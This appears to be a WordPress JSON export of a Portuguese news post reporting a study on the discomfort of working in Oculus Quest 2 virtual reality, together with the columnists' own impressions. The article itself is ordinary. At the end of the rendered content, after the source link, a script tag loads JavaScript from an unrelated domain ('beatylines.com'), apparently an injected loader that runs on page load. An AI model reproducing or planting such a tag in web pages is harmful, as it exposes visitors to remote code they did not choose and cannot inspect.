{"id":2024,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/e-melhor-trabalhar-no-metaverso-veja-o-que-estudo-mostra\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"e-melhor-trabalhar-no-metaverso-veja-o-que-estudo-mostra","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/e-melhor-trabalhar-no-metaverso-veja-o-que-estudo-mostra\/","title":{"rendered":"\u00c9 melhor trabalhar no metaverso? Veja o que estudo mostra"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Um dos principais focos da Meta no metaverso \u00e9 sua aplica\u00e7\u00e3o no ambiente de trabalho. Em abril, o CEO Mark Zuckerberg at\u00e9 fez uma <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/07\/como-vai-ser-o-home-office-no-metaverso-mark-zuckerberg-da-uma-ideia.htm\">publica\u00e7\u00e3o no Facebook sobre como ser\u00e1 o home office virtual.<\/a><\/p>\n<p>Mas, segundo tr\u00eas universidades europeias, ser\u00e1 bem desconfort\u00e1vel. Essa foi a conclus\u00e3o do primeiro estudo comparativo a s\u00e9rio sobre o uso dos <span><span>Oculus,<\/span><\/span> da Meta, para gerar realidade virtual em locais de trabalho.<\/p>\n<p>Durante cinco dias, em turnos de oito horas, 16 pessoas (dez homens, seis mulheres) foram monitoradas pelos cientistas. Todas utilizaram o modelo comum do Oculus Quest 2 HMD e teclado f\u00edsico Logitech K830 com touchpad integrado para trabalhar.<\/p>\n<p>Os resultados foram comparados a um mesmo per\u00edodo em que essas pessoas trabalharam normalmente, sem o recurso da realidade virtual.<\/p>\n<p>Para ir direto ao ponto, as principais conclus\u00f5es:<\/p>\n<ul>\n<li>Quase metade dos participantes (48%) relatou cansa\u00e7o visual;<\/li>\n<li>42% disseram ter ficado frustrados;<\/li>\n<li>35% acharam significativamente pior enfrentar as tarefas com o uso da VR;<\/li>\n<li>19% admitiram ansiedade.<\/li>\n<\/ul>\n<p>O time dos satisfeitos \u00e9 minorit\u00e1rio: 20% declaram ter gostado da experi\u00eancia e 16% citaram aumento de produtividade.<\/p>\n<p>Depois de entrevistar os participantes do experimento, os pesquisadores conclu\u00edram que a grande maioria espera que os fabricantes consigam desenvolver \u00f3culos ou outros equipamentos mais confort\u00e1veis e eficientes.<\/p>\n<p>Uma parte dos que enfrentaram a maratona de trabalho concluiu que a realidade virtual ajudou-os a ter mais foco e privacidade.<\/p>\n<p>Outros viram um ponto negativo nesse mesmo isolamento, seja por um sentimento de mal-estar causado pela incapacidade de perceber quem est\u00e1 pr\u00f3ximo, seja por estarem mais acostumados ao trabalho presencial, junto aos colegas.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/d1\/2022\/06\/22\/participante-do-estudo-no-reino-unido-em-ambiente-de-trabalho-em-realidade-virtual-a-e-fisico-b-na-eslovenia-participante-da-pesquisa-usa-realidade-virtual-c-e-ambiente-fisico-d-para-trabalhar-1655921637033_v2_750x1.png\" class=\"pinit-img\" alt=\"estudo metaverso - Reprodu\u00e7\u00e3o - Reprodu\u00e7\u00e3o\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Participante do estudo no Reino Unido em ambiente de trabalho em realidade virtual (a) e f\u00edsico (b). Na Eslov\u00eania, participante da pesquisa usa realidade virtual (c) e ambiente f\u00edsico (d) para trabalhar<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o<\/span><\/figcaption><\/figure>\n<\/div>\n<p>No final, o estudo admite que, apesar da experi\u00eancia geralmente negativa relatada pela maioria dos participantes, todos comentaram que poderiam se imaginar usando RV ao menos para algumas tarefas de trabalho ou pelo menos durante parte do dia.<\/p>\n<p>Os <a href=\"http:\/\/arxiv.org\/pdf\/2206.03189.pdf\" target=\"_blank\" rel=\"noopener\">resultados da pesquisa acabaram de ser publicados<\/a>. O trabalho foi realizado por 11 pesquisadores da Universidade de Ci\u00eancias Aplicadas de <span>Coburg,<\/span> na Alemanha, da Universidade de Cambridge, no Reino Unido, e da Universidade de <span>Primorska<\/span>, na Eslov\u00eania, al\u00e9m de dois integrantes do time de investiga\u00e7\u00e3o da Microsoft.<\/p>\n<h2>Nossa experi\u00eancia foi assim<\/h2>\n<p>Os colunistas n\u00e3o fizeram nenhum estudo cient\u00edfico, mas j\u00e1 usaram, mais de uma vez, os Oculus Quest para trabalho. Testamos diferentes solu\u00e7\u00f5es como <a href=\"https:\/\/www.oculus.com\/workrooms\/?locale=pt_BR\" target=\"_blank\" rel=\"noopener\">Workrooms<\/a> (Meta), <a href=\"https:\/\/immersed.com\/\" target=\"_blank\" rel=\"noopener\">Immersed<\/a> (Immersed) ou o <a href=\"https:\/\/www.vspatial.com\/\" target=\"_blank\" rel=\"noopener\">vSpatial<\/a> (vSpatial).<\/p>\n<p>A princ\u00edpio, nossas conclus\u00f5es s\u00e3o semelhantes: ningu\u00e9m aguenta muito tempo de trabalho desse tipo, por enquanto.<\/p>\n<p>Antes de mais nada, pelo fato de que as baterias duram apenas duas horas. Mas tamb\u00e9m porque os olhos come\u00e7am a incomodar, em raz\u00e3o das limita\u00e7\u00f5es t\u00e9cnicas das lentes. Olhar para os lados demanda virar a cabe\u00e7a, pois as lentes n\u00e3o entendem movimentos dos olhos.<\/p>\n<p>Temos mais foco e podemos ser mais produtivos, como relataram alguns participantes do experimento, mas n\u00e3o fomos capazes de digitar na mesma velocidade que apresentamos sem os Oculus.<\/p>\n<p>\u00c9 importante notar que existe um fator adicional, n\u00e3o analisado no estudo. Um dos princ\u00edpios da pesquisa foi criar &#8216;condi\u00e7\u00f5es de trabalho semelhante&#8217; no ambiente virtual e real.<\/p>\n<p>E esse ambiente de &#8216;baia de trabalho&#8217;, onde o funcion\u00e1rio passa 8 horas olhando para o computador, \u00e9 justamente uma das coisas que a realidade virtual pode modificar.<\/p>\n<p>No mundo virtual, nada impede que voc\u00ea trabalhe na beira de um id\u00edlico lago, de uma esta\u00e7\u00e3o espacial ou de um cibercaf\u00e9.<\/p>\n<p>A disposi\u00e7\u00e3o de v\u00e1rias telas para compartilhar, exibir ou comentar gr\u00e1ficos, v\u00eddeos e anota\u00e7\u00f5es \u00e9 outro ponto positivo.<\/p>\n<p>Al\u00e9m disso, claro, a possibilidade de estar ao lado de quem est\u00e1 longe (Pedro em S\u00e3o Paulo, Paulo em Lisboa), ainda que envergando um avatar, e dispor de um teclado que podemos utilizar com &#8220;m\u00e3os digitais&#8221; datilografando no teclado real (que olhamos pelos Oculus) \u00e9 muito promissora e tem potencial para projetos colaborativos e times remotos.<\/p>\n<p>Em resumo, o futuro parece promissor. O presente \u00e9 ainda cheio de percal\u00e7os.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/pedro-e-paulo-markun\/2022\/06\/25\/oculus-realidade-virtual-metaverso-trabalho-pesquisa-cansaco-visual-uso.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um dos principais focos da Meta no metaverso \u00e9 sua aplica\u00e7\u00e3o no ambiente de trabalho. Em abril, o CEO Mark Zuckerberg at\u00e9 fez uma publica\u00e7\u00e3o no Facebook sobre como ser\u00e1 o home office virtual. Mas, segundo tr\u00eas universidades europeias, ser\u00e1 bem desconfort\u00e1vel. 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